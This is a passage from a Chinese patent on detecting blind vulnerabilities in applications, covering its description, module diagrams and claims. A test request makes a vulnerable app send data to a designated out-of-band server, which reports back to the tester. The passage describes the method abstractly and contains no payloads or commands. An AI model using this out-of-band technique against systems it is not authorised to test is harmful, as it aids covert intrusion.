在本发明实施例中,带外服务器可以通过监听常见宽口和网卡流量捕获等多种方式,获取待测应用通过带外通道发送的通信数据,带外服务器的网络访问规则中,作为带外传输通道绕过防火墙的ACL规则的协议和端口越多,接收到的待测应用通过带外通道发送的通信数据越完整,保障待测数据存在安全漏洞时,通过带外通道发送的通信数据均能够被带外服务器接收,从而减少漏洞误报的概率。
图8示出了根据本发明一实施例的对接收的通信消息进行处理的流程示意图。如图8所示,在一个实施例中,对接收的通信消息进行处理的步骤具体可以包括:
步骤S801,解析接收到的通信消息,得到通信消息的处理信息。
在步骤S801中,根据接收该通信数据的数据通道使用的通信协议类型,选择与协议类型对应的数据处理格式,以对通信消息进行数据解析。
步骤S802,对解析得到的处理信息进行格式化处理,得到格式化的处理信息。
在步骤S802中,通信消息可以格式化为name=value的参数格式,且通信消息的处理信息包括如下项中的至少一项:唯一标识码、特定漏洞的漏洞类型、漏洞测试命令、漏洞测试命令的执行结果、传输通信消息使用的带外通道的协议类型、以及接收到通信消息的来源地址。
步骤S803,将格式化的处理信息保存至带外服务器连接的指定数据库。
在本发明实施例中,带外服务器对被测应用与带外服务器的带外通道进行分类,不同协议的通道交由不同类型的带外处理功能模块处理,提高数据解析和处理的灵活性。
图9示出了根据本发明一个实施例的发送通信消息的处理信息的流程示意图。如图9所示,在一个实施例中,发送通信消息的处理信息的步骤具体可以包括:
步骤S901,从带外服务器的连接的指定数据库中,获取通信数据的格式化的处理信息。
步骤S902,利用格式化的处理信息,构建结果返回参数。
步骤S903,访问测试端的端口或调用测试端的API接口。
步骤S904,获取测试端响应,向测试扫描端反馈通信消息的处理信息。
根据本发明实施例的安全测试方法,在带外服务器端,通过预先设置网络访问规则允许被测应用通过带外通道与带外服务器建立链接,从而接收被测应用通过带外通道发送的通信数据,由于通信数据中携带被测应用的来源URL链接和参数,以及被测应用执行的测试请求中测试用例的参数信息,解析通信数据,得到通信消息的处理信息,并对通信消息的处理信息进行格式化处理后,形成反馈信息发送至测试端。
基于该反馈信息,即使被测应用在响应测试请求时,未向测试端返回与特定漏洞相关的特定结果,测试端也可以根据带外服务器的反馈,判定被测应用存在特定漏洞,从而避免漏洞误报,解决应用安全测试中的漏报问题。
图10示出了根据本发明一实施例的安全测试方法的流程图。如图10所示,在一个实施例中,安全测试方法1000,可以包括:
步骤S1001,测试端发送测试请求,测试请求用于请求被测应用执行漏洞测试命令时,通过第一通道向指定服务器发送通信消息,其中,第一通道位于被测应用与指定服务器之间,且第一通道为被测应用的测试请求响应通道以外的数据传输通道。
步骤S1002,响应于接收到来自指定服务器的针对通信消息的处理信息,确定被测应用存在安全漏洞。
在一个实施例中,第一通道是根据被测应用与指定服务器之间的允许访问端口,或根据允许访问端口使用的数据通讯协议建立的数据传输通道。
在一个实施例中,安全测试方法1000还包括:
步骤S1003,针对被测应用的至少一个待测试应用接口,生成测试用例,测试用例包括测试用例唯一标识码、指定服务器地址、以及针对特定漏洞的漏洞测试命令。
步骤S1004,根据至少一个待测试接口和测试用例,生成针对被测应用的特定漏洞的至少一个测试请求。
在一个实施例中,漏洞测试命令,是根据特定漏洞生成的命令,或者根据特定漏洞、第一通道使用的端口和第一通道使用的数据通讯协议生成的命令。
在一个实施例中,通信数据的处理信息,是通过监听本地端口和/或通过应用程序编程接口接收的,应用程序编程接口被设置为接受指定服务器的网络服务调用。
在一个实施例中,安全测试方法1000还包括:
步骤S1005,提取通信数据的处理信息中的唯一标识码。
步骤S1006,比对测试用例中是否存在与提取的唯一标识码相匹配的测试用例唯一标识码。
步骤S1007,根据比对结果,确定被测应用存在的特定漏洞和特定漏洞的漏洞类型。
在一个实施例中,如果比对结果为存在相匹配的测试用例唯一标识码,根据相匹配的测试用例唯一标识码对应的测试用例所针对的特定漏洞,确定被测应用存在的特定漏洞的漏洞类型。
在一个实施例中,安全测试方法1000还包括:
步骤S1008,生成第一报警信息,第一报警信息用于指示被测应用存在已知漏洞类型的安全漏洞。
在一个实施例中,安全测试方法还包括:
步骤S1009,如果比对结果为不存在相匹配的测试用例唯一标识码,生成第二报警信息,第二报警信息用于指示被测应用存在未明确漏洞类型的安全漏洞。
在一个实施例中,安全测试方法还包括:
步骤S1010,通过测试响应通道,接收来自被测应用的测试响应数据。
步骤S1011,根据测试响应数据,确定针对被测应用的特定漏洞的每个测试请求均已执行完成时,生成被测应用的安全测试报告。
在一个实施例中,安全测试报告包括如下项中的至少一项:被测应用的特定漏洞的漏洞名称、漏洞类型、漏洞危险级别、存在特定漏洞的被测应用的待测试接口。
根据本发明实施例的安全测试方法,测试端发送测试请求至被测应用;接收来自被测应用的测试请求的响应消息,该响应消息用于判断测试请求是否已执行完成;测试端还可以接收来自带外服务器的反馈消息,根据该带外服务器的反馈消息判断待测应用是否存在测试用例中针对的特定安全漏洞,在上述安全测试方法中,测试端和带外服务器之间相互配合,共同对被测应用进行安全测试,解决应用安全测试中存在的漏报问题。
图11示出了根据本发明另一实施例的安全测试方法的流程图。如图11所示,在一个实施例中,安全测试方法1100可以包括:
步骤S1101,指定服务器通过第一通道接收来自被测应用的通信消息,其中,第一通道位于被测应用与指定服务器之间,且第一通道为被测应用的测试请求响应通道以外的数据传输通道。
步骤S1102,针对接收的通信消息进行数据解析,得到通信消息的处理信息。
步骤S1103,发送通信消息的处理信息,以利用处理信息确定被测应用是否存在安全漏洞。
在一个实施例中,第一通道是根据被测应用与指定服务器之间的允许访问端口,或根据允许访问端口使用的数据通讯协议建立的数据传输通道。
在一个实施例中,通信消息包括:通过使用应用层通讯协议的第一通道接收的服务请求数据,和/或,通过使用网络层协议的第一通道抓取的流量数据。
在一个实施例中,解析通信消息时,针对传输通信消息的第一通道使用的协议类型,选择与协议类型对应的数据处理格式。
在一个实施例中,安全测试方法1100还包括:
步骤S1103,设置网络访问规则,网络访问规则用于允许来自被测应用的第一通道传输的通信消息。
在一个实施例中,步骤S1102中发送通信消息的处理信息的步骤,具体可以包括:
对数据解析得到的处理信息进行格式化处理,得到格式化的处理信息;利用格式化的处理信息,构建结果返回参数;通过访问测试扫描端的通信端口和/或调用测试扫描端的应用程序编程接口,向测试扫描端发送通信消息的处理信息。
在一个实施例中,通信消息的处理信息包括如下项中的至少一项:唯一标识码、特定漏洞的漏洞类型、漏洞测试命令、漏洞测试命令的执行结果、传输通信消息使用的第一通道的协议类型、以及接收到通信消息的来源地址。
在本发明实施例中,指定服务器可以通过预先设置网络访问规则允许被测应用通过带外通道与带外服务器建立链接,从而接收被测应用通过带外通道发送的通信数据,由于通信数据中携带被测应用的来源URL链接和参数,以及被测应用执行的测试请求中测试用例的参数信息,解析通信数据,得到通信消息的处理信息,并对通信消息的处理信息进行格式化处理后,形成反馈信息发送至测试端,以使测试段根据该反馈信息确定被测应用是否存在安全漏洞,从而避免单纯通过测试请求响应时可能出现的漏洞误报问题,提高漏洞测试的效率和漏洞判断结果准确性。
图12示出了根据本发明再一实施例的安全测试方法的流程示意图。如图12所示,在一个实施例中,安全测试方法1200可以包括:
步骤S1201,被测应用接收来自测试端的测试请求。
步骤S1202,执行测试请求中的漏洞测试命令,并通过第一通道向指定服务器发送通信消息,其中,第一通道位于被测应用与指定服务器之间,且第一通道为被测应用的测试请求响应通道外的数据传输通道。
步骤S1203,通过被测应用的测试请求响应通道响应测试请求。
在一个实施例中,第一通道是根据被测应用与指定服务器之间的允许访问端口,或根据允许访问端口使用的数据通讯协议建立的数据传输通道。
在本发明实施例中,如果被测应用存在特定漏洞,则执行测试命令,并自动通过测试请求响应通道以外的数据传输通道向指定服务器发送通信消息,如果带外服务器接收到通信消息,会主动向测试端进行反馈,测试端可以确定被测应用存在该特定漏洞。根据本发明实施例的安全测试方法,如果被测应用存在特定漏洞,即使在响应测试请求时,未返回与特定漏洞相关的特定结果,测试端也可以根据带外服务器的反馈,判定被测应用存在特定漏洞,从而避免漏洞误报,解决应用安全测试中的漏报问题。
图13示出了根据本发明一实施例的安全测试装置结构示意图。如图13所示,在一个实施例中,安全测试装置1300具体可以包括:
请求发送模块1301,用于测试端发送测试请求,测试请求用于请求被测应用执行漏洞测试命令时,通过第一通道向指定服务器发送通信消息,其中,第一通道位于被测应用与指定服务器之间,且第一通道为被测应用的测试请求响应通道以外的数据传输通道。
漏洞判定模块1302,用于响应于接收到来自指定服务器的针对通信消息的处理信息,确定被测应用存在安全漏洞。
在一个实施例中,第一通道是根据被测应用与指定服务器之间的允许访问端口,或根据允许访问端口使用的数据通讯协议建立的数据传输通道。
在一个实施例中,安全测试装置1300还包括:
测试用例生成模块,用于针对被测应用的至少一个待测试应用接口,生成测试用例,测试用例包括测试用例唯一标识码、指定服务器地址、以及针对特定漏洞的漏洞测试命令。
测试请求生成模块,用于根据至少一个待测试接口和测试用例,生成针对被测应用的特定漏洞的至少一个测试请求。
在一个实施例中,漏洞测试命令,是根据特定漏洞生成的,或者根据特定漏洞、第一通道使用的端口和第一通道使用的数据通讯协议生成的命令。
在一个实施例中,通信数据的处理信息,是通过监听本地端口和/或通过应用程序编程接口接收的,应用程序编程接口被设置为接受指定服务器的网络服务调用。
在一个实施例中,安全测试装置1300还包括:
标识码提取模块,用于提取通信数据的处理信息中的唯一标识码。
标识码比对模块,用于比对测试用例中是否存在与提取的唯一标识码相匹配的测试用例唯一标识码。
漏洞确定模块,用于根据比对结果,确定被测应用存在的特定漏洞和特定漏洞的漏洞类型。
在一个实施例中,如果比对结果为存在相匹配的测试用例唯一标识码,根据相匹配的测试用例唯一标识码对应的测试用例所针对的特定漏洞,确定被测应用存在的特定漏洞的漏洞类型。
在一个实施例中,安全测试装置1300还包括:
第一报警信息生成模块,用于生成第一报警信息,第一报警信息用于指示被测应用存在已知漏洞类型的安全漏洞。
在一个实施例中,安全测试装置1300还包括:
第二报警信息生成模块,用于如果比对结果为不存在相匹配的测试用例唯一标识码,生成第二报警信息,第二报警信息用于指示被测应用存在未明确漏洞类型的安全漏洞。
在一个实施例中,安全测试装置1300还包括:
响应数据接收模块,用于通过测试响应通道,接收来自被测应用的测试响应数据。
测试报告生成模块,用于根据测试响应数据,确定针对被测应用的特定漏洞的每个测试请求均已执行完成时,生成被测应用的安全测试报告。
在一个实施例中,安全测试报告包括如下项中的至少一项:被测应用的特定漏洞的漏洞名称、漏洞类型、漏洞危险级别、存在特定漏洞的被测应用的待测试接口。
需要明确的是,结合图13描述的安全测试装置并不局限于上文实施例中所描述并在图中示出的特定配置和处理。为了描述的方便和简洁,这里省略了对已知方法的详细描述,并且上述描述的系统、模块和单元的具体工作过程,可以参考前述结合图1至图10描述的方法实施例中的对应过程,在此不再赘述。
图14示出了根据本发明一实施例的安全测试装置结构示意图。如图14所示,在一个实施例中,安全测试装置1400具体可以包括:
消息接收模块1401,用于指定服务器通过第一通道接收来自被测应用的通信消息,其中,第一通道位于被测应用与指定服务器之间,且第一通道为被测应用的测试请求响应通道以外的数据传输通道。
数据解析模块1402,用于针对接收的通信消息进行数据解析,得到通信消息的处理信息。
信息发送模块1403,用于发送通信消息的处理信息,以利用处理信息确定被测应用是否存在安全漏洞。
在一个实施例中,第一通道是根据被测应用与指定服务器之间的允许访问端口,或根据允许访问端口使用的数据通讯协议建立的数据传输通道。
在一个实施例中,通信消息包括:通过使用应用层通讯协议的第一通道接收的服务请求数据,和/或,通过使用网络层协议的第一通道抓取的流量数据。
在一个实施例中,解析通信消息时,针对传输通信消息的第一通道使用的协议类型,选择与协议类型对应的数据处理格式。
在一个实施例中,安全测试装置1400还包括:
访问规则设置模块,用于设置网络访问规则,网络访问规则用于允许来自被测应用的第一通道传输的通信消息。
在一个实施例中,信息发送模块1403具体可以包括:
数据格式化单元,用于对数据解析得到的处理信息进行格式化处理,得到格式化的处理信息。
参数构建单元,用于利用格式化的处理信息,构建结果返回参数。
信息发送模块1403,还用于通过访问测试扫描端的通信端口和/或调用测试扫描端的应用程序编程接口,向测试扫描端发送通信消息的处理信息。
在一个实施例中,通信消息的处理信息包括如下项中的至少一项:唯一标识码、特定漏洞的漏洞类型、漏洞测试命令、漏洞测试命令的执行结果、传输通信消息使用的第一通道的协议类型、以及接收到通信消息的来源地址。
需要明确的是,结合图14描述的安全测试装置并不局限于上文实施例中所描述并在图中示出的特定配置和处理。为了描述的方便和简洁,这里省略了对已知方法的详细描述,并且上述描述的系统、模块和单元的具体工作过程,可以参考前述结合图1至图9,以及结合图11描述的方法实施例中的对应过程,在此不再赘述。
图15示出了根据本发明一实施例的安全测试装置结构示意图。如图15所示,在一个实施例中,安全测试装置1500具体可以包括:
请求接收模块1501,用于被测应用接收来自测试端的测试请求。
命令执行模块1502,用于执行测试请求中的漏洞测试命令,并通过第一通道向指定服务器发送通信消息,其中,第一通道位于被测应用与指定服务器之间,且第一通道为被测应用的测试请求响应通道外的数据传输通道。
数据传输模块1503,用于通过被测应用的测试请求响应通道响应测试请求。
在一个实施例中,第一通道是根据被测应用与指定服务器之间的允许访问端口,或根据允许访问端口使用的数据通讯协议建立的数据传输通道。
需要明确的是,结合图15描述的安全测试装置并不局限于上文实施例中所描述并在图中示出的特定配置和处理。为了描述的方便和简洁,这里省略了对已知方法的详细描述,并且上述描述的系统、模块和单元的具体工作过程,可以参考前述结合图1至图9,以及结合图12描述的方法实施例中的对应过程,在此不再赘述。
在一个实施例中,本发明实施例提供一种安全测试系统,包括安全测试系统包括:测试端和指定服务器。
测试端,用于发送测试请求,测试请求用于请求被测应用执行漏洞测试命令时,通过第一通道向指定服务器发送通信消息,其中,第一通道位于被测应用与指定服务器之间,且第一通道为被测应用的测试请求响应通道以外的数据传输通道。
指定服务器,用于通过第一通道接收来自被测应用的通信消息,针对通信消息进行数据解析,得到通信消息的处理信息,并发送通信消息的处理信息。
测试端,还用于响应于接收到来自指定服务器的针对通信消息的处理信息,确定被测应用存在安全漏洞。
本发明示例的安全测试系统并不局限于上文实施例中所描述并在图中示出的特定配置和处理。为了描述的方便和简洁,这里省略了对已知方法的详细描述,该安全测试系统的系统、模块和单元的具体工作过程,可以参考前述结合图1至图11描述的方法实施例中的对应过程,在此不再赘述。
图16是示出能够实现根据本发明实施例的安全测试方法和装置的计算设备的示例性硬件架构的结构图。
如图16所示,计算设备1600包括输入设备1601、输入接口1602、中央处理器1603、存储器1604、输出接口1605、以及输出设备1606。其中,输入接口1602、中央处理器1603、存储器1604、以及输出接口1605通过总线1610相互连接,输入设备1601和输出设备1606分别通过输入接口1602和输出接口1605与总线1610连接,进而与计算设备1600的其他组件连接。具体地,输入设备1601接收来自外部的输入信息,并通过输入接口1602将输入信息传送到中央处理器1603;中央处理器1603基于存储器1604中存储的计算机可执行指令对输入信息进行处理以生成输出信息,将输出信息临时或者永久地存储在存储器1604中,然后通过输出接口1605将输出信息传送到输出设备1606;输出设备1606将输出信息输出到计算设备1600的外部供用户使用。
在一个实施例中,图16所示的计算设备1600可以被实现为一种安全测试设备,该安全测试设备可以包括:存储器,被配置为存储程序;处理器,被配置为运行存储器中存储的程序,以执行上述实施例中结合图1至图15描述的安全测试设备方法。
根据本发明的实施例,上文参考流程图描述的过程可以被实现为计算机软件程序。例如,本发明的实施例包括一种计算机程序产品,其包括有形地包含在机器可读介质上的计算机程序,所述计算机程序包含用于执行流程图所示的方法的程序代码。在这样的实施例中,该计算机程序可以从网络上被下载和安装,和/或从可拆卸存储介质被安装。
在上述实施例中,可以全部或部分地通过软件、硬件、固件或者其任意组合来实现。当使用软件实现时,可以全部或部分地以计算机程序产品的形式实现。所述计算机程序产品包括一个或多个计算机指令,当其在计算机上运行时,使得计算机执行上述各个实施例中描述的方法。在计算机上加载和执行所述计算机程序指令时,全部或部分地产生按照本发明实施例所述的流程或功能。所述计算机可以是通用计算机、专用计算机、计算机网络、或者其他可编程装置。所述计算机指令可以存储在计算机可读存储介质中,或者从一个计算机可读存储介质向另一个计算机可读存储介质传输,例如,所述计算机指令可以从一个网站站点、计算机、服务器或数据中心通过有线(例如同轴电缆、光纤、数字用户线(DSL))或无线(例如红外、无线、微波等)方式向另一个网站站点、计算机、服务器或数据中心进行传输。所述计算机可读存储介质可以是计算机能够存取的任何可用介质或者是包含一个或多个可用介质集成的服务器、数据中心等数据存储设备。所述可用介质可以是磁性介质,(例如,软盘、硬盘、磁带)、光介质(例如,DVD)、或者半导体介质(例如固态硬盘)等。
以上所描述的装置实施例仅仅是示意性的,其中所述作为分离部件说明的单元可以是或者也可以不是物理上分开的,作为单元显示的部件可以是或者也可以不是物理单元,即可以位于一个地方,或者也可以分布到多个网络单元上。可以根据实际的需要选择其中的部分或者全部模块来实现本实施例方案的目的。本领域普通技术人员在不付出创造性的劳动的情况下,即可以理解并实施。
最后应说明的是:以上各实施例仅用以说明本发明的技术方案,而非对其限制;尽管参照前述各实施例对本发明进行了详细的说明,本领域的普通技术人员应当理解:其依然可以对前述各实施例所记载的技术方案进行修改,或者对其中部分或者全部技术特征进行等同替换;而这些修改或者替换,并不使对应技术方案的本质脱离本发明各实施例技术方案的范围。

Claims (25)

1.一种安全测试方法,其特征在于,所述安全测试方法包括:
测试端发送测试请求,所述测试请求用于请求被测应用执行漏洞测试命令时,通过第一通道向指定服务器发送通信消息,其中,所述第一通道位于所述被测应用与所述指定服务器之间,且所述第一通道为所述被测应用的测试请求响应通道以外的数据传输通道,所述漏洞测试命令,是根据特定漏洞、所述第一通道使用的端口和第一通道使用的数据通讯协议生成的命令;
响应于接收到来自所述指定服务器的针对所述通信消息的处理信息,确定所述被测应用存在安全漏洞;
所述安全测试方法还包括:
针对所述被测应用的至少一个待测试应用接口,生成测试用例,所述测试用例包括测试用例唯一标识码、指定服务器地址、以及针对特定漏洞的漏洞测试命令,所述漏洞测试命令包括测试有效负载;
根据所述至少一个待测试接口和所述测试用例,生成针对所述被测应用的特定漏洞的至少一个测试请求;
所述通信数据的处理信息,是通过监听本地端口和/或通过应用程序编程接口接收的,所述应用程序编程接口被设置为接受所述指定服务器的网络服务调用。
2.根据权利要求1所述的安全测试方法,其特征在于,
所述第一通道,是根据所述被测应用与所述指定服务器之间的允许访问端口,或根据所述允许访问端口使用的数据通讯协议建立的数据传输通道。
3.根据权利要求1所述的安全测试方法,其特征在于,所述安全测试方法还包括:
提取所述通信数据的处理信息中的唯一标识码;
比对所述测试用例中是否存在与提取的所述唯一标识码相匹配的测试用例唯一标识码;
根据比对结果,确定所述被测应用存在的特定漏洞和所述特定漏洞的漏洞类型。
4.根据权利要求3所述的安全测试方法,其特征在于,
如果所述比对结果为存在相匹配的测试用例唯一标识码,根据所述相匹配的测试用例唯一标识码对应的测试用例所针对的特定漏洞,确定所述被测应用存在的特定漏洞的漏洞类型。
5.根据权利要求4所述的安全测试方法,其特征在于,所述安全测试方法还包括:
生成第一报警信息,所述第一报警信息用于指示所述被测应用存在已知漏洞类型的安全漏洞。
6.根据权利要求3所述的安全测试方法,其特征在于,所述安全测试方法还包括:
如果所述比对结果为不存在相匹配的测试用例唯一标识码,生成第二报警信息,所述第二报警信息用于指示所述被测应用存在未明确漏洞类型的安全漏洞。
7.根据权利要求1所述的安全测试方法,其特征在于,所述安全测试方法还包括:
通过所述测试请求响应通道,接收来自所述被测应用的测试响应数据;
根据所述测试响应数据,确定针对所述被测应用的特定漏洞的每个测试请求均已执行完成时,生成所述被测应用的安全测试报告。
8.根据权利要求7所述的安全测试方法,其特征在于,
所述安全测试报告包括如下项中的至少一项:所述被测应用的特定漏洞的漏洞名称、漏洞类型、漏洞危险级别、存在所述特定漏洞的所述被测应用的待测试接口。
9.一种安全测试方法,其特征在于,所述安全测试方法包括:
指定服务器通过第一通道接收来自被测应用的通信消息,其中,所述第一通道位于所述被测应用与所述指定服务器之间,且所述第一通道为所述被测应用的测试请求响应通道以外的数据传输通道,所述通信消息为所述被测应用执行漏洞测试命令时发送的,所述漏洞测试命令,是根据特定漏洞、所述第一通道使用的端口和第一通道使用的数据通讯协议生成的命令;
针对接收的所述通信消息进行数据解析,得到所述通信消息的处理信息;
向测试端发送所述通信消息的处理信息,以使测试端利用所述处理信息确定所述被测应用是否存在安全漏洞;
所述漏洞测试命令包含在测试请求中,所述测试请求是测试端先针对所述被测应用的至少一个待测试应用接口,生成测试用例,所述测试用例包括测试用例唯一标识码、指定服务器地址、以及针对特定漏洞的漏洞测试命令,所述漏洞测试命令包括测试有效负载;再根据所述至少一个待测试接口和所述测试用例,生成的针对所述被测应用的特定漏洞的至少一个测试请求;
所述通信数据的处理信息,是测试端通过监听本地端口和/或通过应用程序编程接口接收的,所述应用程序编程接口被设置为接受所述指定服务器的网络服务调用。
10.根据权利要求9所述的安全测试方法,其特征在于,
所述第一通道,是根据所述被测应用与所述指定服务器之间的允许访问端口,或根据所述允许访问端口使用的数据通讯协议建立的数据传输通道。
11.根据权利要求9所述的安全测试方法,其特征在于,
所述通信消息包括:通过使用应用层通讯协议的第一通道接收的服务请求数据,和/或,通过使用网络层协议的第一通道抓取的流量数据。
12.根据权利要求9所述的安全测试方法,其特征在于,
解析所述通信消息时,针对传输所述通信消息的第一通道使用的协议的协议类型,选择与所述协议类型对应的数据处理格式。
13.根据权利要求9所述的安全测试方法,其特征在于,所述安全测试方法还包括:
设置网络访问规则,所述网络访问规则用于允许所述被测应用通过所述第一通道传输所述通信消息。
14.根据权利要求9所述的安全测试方法,其特征在于,所述发送所述通信消息的处理信息,包括:
对数据解析得到的所述处理信息进行格式化处理,得到格式化的处理信息;
利用所述格式化的处理信息,构建结果返回参数;
通过访问测试扫描端的通信端口和/或调用所述测试扫描端的应用程序编程接口,向所述测试扫描端反馈所述通信消息的处理信息。
15.根据权利要求9所述的安全测试方法,其特征在于,
所述通信消息的处理信息包括如下项中的至少一项:唯一标识码、特定漏洞的漏洞类型、漏洞测试命令、所述漏洞测试命令的执行结果、传输所述通信消息使用的第一通道的协议类型、以及接收到所述通信消息的来源地址。
16.一种安全测试方法,其特征在于,所述安全测试方法包括:
被测应用接收来自测试端的测试请求;
执行所述测试请求中的漏洞测试命令,并通过第一通道向指定服务器发送通信消息,以使所述指定服务器针对接收的所述通信消息进行数据解析,得到所述通信消息的处理信息,向测试端发送所述通信消息的处理信息,以使测试端利用所述处理信息确定所述被测应用是否存在安全漏洞,其中,所述第一通道位于所述被测应用与所述指定服务器之间,且所述第一通道为所述被测应用的测试请求响应通道外的数据传输通道,所述漏洞测试命令,是根据特定漏洞、所述第一通道使用的端口和第一通道使用的数据通讯协议生成的命令;
通过所述被测应用的测试请求响应通道响应所述测试请求;
所述测试请求是测试端先针对所述被测应用的至少一个待测试应用接口,生成测试用例,所述测试用例包括测试用例唯一标识码、指定服务器地址、以及针对特定漏洞的漏洞测试命令,所述漏洞测试命令包括测试有效负载;再根据所述至少一个待测试接口和所述测试用例,生成的针对所述被测应用的特定漏洞的至少一个测试请求;
所述通信数据的处理信息,是测试端通过监听本地端口和/或通过应用程序编程接口接收的,所述应用程序编程接口被设置为接受所述指定服务器的网络服务调用。
17.根据权利要求16所述的安全测试方法,其特征在于,
所述第一通道,是根据所述被测应用与所述指定服务器之间的允许访问端口,或根据所述允许访问端口使用的数据通讯协议建立的数据传输通道。
18.一种安全测试装置,其特征在于,所述安全测试装置包括:
请求发送模块,用于测试端发送测试请求,所述测试请求用于请求被测应用执行漏洞测试命令时,通过第一通道向指定服务器发送通信消息,其中,所述第一通道位于所述被测应用与所述指定服务器之间,且所述第一通道为所述被测应用的测试请求响应通道以外的数据传输通道,所述漏洞测试命令,是根据特定漏洞、所述第一通道使用的端口和第一通道使用的数据通讯协议生成的命令;
漏洞判定模块,用于响应于接收到来自所述指定服务器的针对所述通信消息的处理信息,确定所述被测应用存在安全漏洞;
测试用例生成模块,用于针对所述被测应用的至少一个待测试应用接口,生成测试用例,所述测试用例包括测试用例唯一标识码、指定服务器地址、以及针对特定漏洞的漏洞测试命令,所述漏洞测试命令包括测试有效负载;
测试请求生成模块,用于根据所述至少一个待测试接口和所述测试用例,生成针对所述被测应用的特定漏洞的至少一个测试请求;
所述通信数据的处理信息,是通过监听本地端口和/或通过应用程序编程接口接收的,所述应用程序编程接口被设置为接受所述指定服务器的网络服务调用。
19.一种安全测试装置,其特征在于,所述安全测试装置包括:
消息接收模块,用于指定服务器通过第一通道接收来自被测应用的通信消息,其中,所述第一通道位于所述被测应用与所述指定服务器之间,且所述第一通道为所述被测应用的测试请求响应通道以外的数据传输通道,所述通信消息为所述被测应用执行漏洞测试命令时发送的,所述漏洞测试命令,是根据特定漏洞、所述第一通道使用的端口和第一通道使用的数据通讯协议生成的命令;
数据解析模块,用于针对接收的所述通信消息进行数据解析,得到所述通信消息的处理信息;
信息发送模块,用于向测试端发送所述通信消息的处理信息,以使测试端利用所述处理信息确定所述被测应用是否存在安全漏洞;
所述漏洞测试命令包含在测试请求中,所述测试请求是测试端先针对所述被测应用的至少一个待测试应用接口,生成测试用例,所述测试用例包括测试用例唯一标识码、指定服务器地址、以及针对特定漏洞的漏洞测试命令,所述漏洞测试命令包括测试有效负载;再根据所述至少一个待测试接口和所述测试用例,生成的针对所述被测应用的特定漏洞的至少一个测试请求;
所述通信数据的处理信息,是测试端通过监听本地端口和/或通过应用程序编程接口接收的,所述应用程序编程接口被设置为接受所述指定服务器的网络服务调用。
20.一种安全测试装置,其特征在于,所述安全测试装置包括:
请求接收模块,用于被测应用接收来自测试端的测试请求;
命令执行模块,用于执行所述测试请求中的漏洞测试命令,并通过第一通道向指定服务器发送通信消息,以使所述指定服务器针对接收的所述通信消息进行数据解析,得到所述通信消息的处理信息,向测试端发送所述通信消息的处理信息,以使测试端利用所述处理信息确定所述被测应用是否存在安全漏洞,其中,所述第一通道位于所述被测应用与所述指定服务器之间,且所述第一通道为所述被测应用的测试请求响应通道外的数据传输通道,所述漏洞测试命令,是根据特定漏洞、所述第一通道使用的端口和第一通道使用的数据通讯协议生成的命令;
数据传输模块,用于通过所述被测应用的测试请求响应通道响应所述测试请求;
所述测试请求是测试端先针对所述被测应用的至少一个待测试应用接口,生成测试用例,所述测试用例包括测试用例唯一标识码、指定服务器地址、以及针对特定漏洞的漏洞测试命令,所述漏洞测试命令包括测试有效负载;再根据所述至少一个待测试接口和所述测试用例,生成的针对所述被测应用的特定漏洞的至少一个测试请求;
所述通信数据的处理信息,是测试端通过监听本地端口和/或通过应用程序编程接口接收的,所述应用程序编程接口被设置为接受所述指定服务器的网络服务调用。
21.一种安全测试系统,其特征在于,所述安全测试系统包括:测试端和指定服务器;
所述测试端,用于发送测试请求,所述测试请求用于请求被测应用执行漏洞测试命令时,通过第一通道向指定服务器发送通信消息,其中,所述第一通道位于所述被测应用与所述指定服务器之间,且所述第一通道为所述被测应用的测试请求响应通道以外的数据传输通道,所述漏洞测试命令,是根据特定漏洞、所述第一通道使用的端口和第一通道使用的数据通讯协议生成的命令;
所述指定服务器,用于通过所述第一通道接收来自被测应用的通信消息,针对所述通信消息进行数据解析,得到所述通信消息的处理信息,并向所述测试端发送所述通信消息的处理信息;
所述测试端,还用于响应于接收到来自所述指定服务器的针对所述通信消息的处理信息,确定所述被测应用存在安全漏洞;
所述测试请求是测试端先针对所述被测应用的至少一个待测试应用接口,生成测试用例,所述测试用例包括测试用例唯一标识码、指定服务器地址、以及针对特定漏洞的漏洞测试命令,所述漏洞测试命令包括测试有效负载;再根据所述至少一个待测试接口和所述测试用例,生成的针对所述被测应用的特定漏洞的至少一个测试请求;
所述通信数据的处理信息,是测试端通过监听本地端口和/或通过应用程序编程接口接收的,所述应用程序编程接口被设置为接受所述指定服务器的网络服务调用。
22.一种安全测试设备,其特征在于,包括存储器和处理器;
所述存储器用于储存有可执行程序代码;
所述处理器用于读取所述存储器中存储的可执行程序代码以执行权利要求1至8中任一项所述的安全测试方法。
23.一种安全测试设备,其特征在于,包括存储器和处理器;
所述存储器用于储存有可执行程序代码;
所述处理器用于读取所述存储器中存储的可执行程序代码以执行权利要求11至15中任一项所述的安全测试方法。
24.一种安全测试设备,其特征在于,包括存储器和处理器;
所述存储器用于储存有可执行程序代码;
所述处理器用于读取所述存储器中存储的可执行程序代码以执行权利要求16至17中任一项所述的安全测试方法。
25.一种计算机可读存储介质,其特征在于,所述计算机可读存储介质包括指令,当所述指令在计算机上运行时,使得计算机执行如权利要求1至8中任一项所述的安全测试方法、如权利要求9至15中任一项所述的安全测试方法、或者如权利要求16至17中任一项所述的安全测试方法。
CN201910477293.5A 2019-06-03 2019-06-03 安全测试方法、装置、系统、设备和存储介质 Active CN110209583B (zh)

Priority Applications (1)

Application Number Priority Date Filing Date Title
CN201910477293.5A CN110209583B (zh) 2019-06-03 2019-06-03 安全测试方法、装置、系统、设备和存储介质

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
CN201910477293.5A CN110209583B (zh) 2019-06-03 2019-06-03 安全测试方法、装置、系统、设备和存储介质

Publications (2)

Publication Number Publication Date
CN110209583A CN110209583A (zh) 2019-09-06
CN110209583B true CN110209583B (zh) 2024-01-16

Family

ID=67790374

Family Applications (1)

Application Number Title Priority Date Filing Date
CN201910477293.5A Active CN110209583B (zh) 2019-06-03 2019-06-03 安全测试方法、装置、系统、设备和存储介质

Country Status (1)

Country Link
CN (1) CN110209583B (zh)

Families Citing this family (11)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN110995743B (zh) * 2019-12-17 2022-08-05 北京小米智能科技有限公司 终端设备的安全测试方法及装置、存储介质
CN111274150B (zh) * 2020-02-07 2023-08-22 北京字节跳动网络技术有限公司 服务实例访问方法、装置和电子设备
CN111431878A (zh) * 2020-03-16 2020-07-17 武汉猎鹰网安科技有限公司 网络安全渗透测试系统
CN111565198B (zh) * 2020-07-13 2020-10-30 连连(杭州)信息技术有限公司 一种漏洞检测方法及相关设备
CN111901327B (zh) * 2020-07-21 2022-07-26 平安科技(深圳)有限公司 云网络漏洞挖掘方法、装置、电子设备及介质
